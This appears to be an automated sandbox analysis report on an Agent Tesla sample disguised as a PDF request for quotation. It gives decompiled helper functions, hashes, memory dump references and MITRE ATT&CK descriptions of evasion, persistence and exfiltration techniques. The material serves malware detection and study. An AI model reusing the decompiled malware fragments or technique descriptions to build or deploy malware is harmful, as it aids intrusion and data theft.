Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 004054B9, Relevance: 2.5, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054B9(intOrPtr* __esi) {

				free( *(__esi + 0x10));
				free( *(__esi + 0xc)); // executed
				 *((intOrPtr*)(__esi)) = 0;
				 *((intOrPtr*)(__esi + 4)) = 0;
				 *(__esi + 0xc) = 0;
				 *(__esi + 0x10) = 0;
				 *((intOrPtr*)(__esi + 0x1c)) = 0;
				 *((intOrPtr*)(__esi + 8)) = 0;
				return 0;
			}

0x004054bc
0x004054c4
0x004054cd
0x004054cf
0x004054d2
0x004054d5
0x004054d8
0x004054db
0x004054de

APIs

free.MSVCRT(?,004056F7,00000000,?,00000000), ref: 004054BC
free.MSVCRT(?,?,004056F7,00000000,?,00000000), ref: 004054C4

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 46b26eb0f7634a7a859f62a4155f99fc61a4d37ba6de741af70d04cb62256736
Instruction ID: 7665469e3ee5729aacaba78e143212aa4928b7d925741869fd88885e7d369011
Opcode Fuzzy Hash: 46b26eb0f7634a7a859f62a4155f99fc61a4d37ba6de741af70d04cb62256736
Instruction Fuzzy Hash: C2D0A2B1515B018ED7B5DF39E405506BBF1EF083143108D7E90AED2A51E735A5549F48

Uniqueness

Uniqueness Score: -1.00%

Function 00408F48, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408F48(void* __ecx, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* _t8;
				void* _t13;

				_v8 = _v8 & 0x00000000;
				_t8 = E00408FC9( &_v8, __eflags, _a4); // executed
				_t13 = _t8;
				if(_v8 != 0) {
					FreeLibrary(_v8);
				}
				return _t13;
			}

0x00408f4c
0x00408f57
0x00408f60
0x00408f62
0x00408f67
0x00408f67
0x00408f71

APIs

Part of subcall function 00408FC9: GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8
Part of subcall function 00408FC9: GetLastError.KERNEL32(00000000), ref: 00408FEA

FreeLibrary.KERNEL32(00000000,?,?,?,?,004085BD,SeDebugPrivilege,00000000,?,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408F67

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentErrorFreeLastLibraryProcess
String ID:
API String ID: 187924719-0
Opcode ID: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction ID: 8dfc096080dba386992b60ff887e92109f2b64d1c6b3d0c2bddabb0c4d0164ae
Opcode Fuzzy Hash: 66172dc437a911e831faa251a40591583a4df33fd2c7ff74237865ec7cba41cd
Instruction Fuzzy Hash: D6D01231511119FBDF109B91CE06BCDBB79DB00399F104179E400B2190D7759F04E694

Uniqueness

Uniqueness Score: -1.00%

Function 004098F9, Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004098F9(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				intOrPtr* _t6;
				void* _t8;
				struct HINSTANCE__** _t10;

				_t10 = __eax;
				E00409921(__eax);
				_t6 =  *((intOrPtr*)(_t10 + 0x10));
				if(_t6 == 0) {
					return 0;
				}
				_t8 =  *_t6(_a4, 0, _a8, 0x104); // executed
				return _t8;
			}

0x004098fa
0x004098fc
0x00409901
0x00409907
0x00000000
0x0040991c
0x00409918
0x00000000

APIs

Part of subcall function 00409921: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
Part of subcall function 00409921: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

K32GetModuleFileNameExW.KERNEL32(00000104,00000000,004096DF,00000104,004096DF,00000000,?), ref: 00409918

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332738326.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.332751614.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$FileModuleName
String ID:
API String ID: 3859505661-0
Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction ID: 0481de772a0e6c3324847b7c7a0c8cc4c6a15655966ff13cfb2205d1ba48b523
Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
Instruction Fuzzy Hash: 26D0A9B22183006BD620AAB08C00B4BA2D47B80710F008C2EB590E22D2D274CD105208

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report RFQ - REF 208056-pdf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre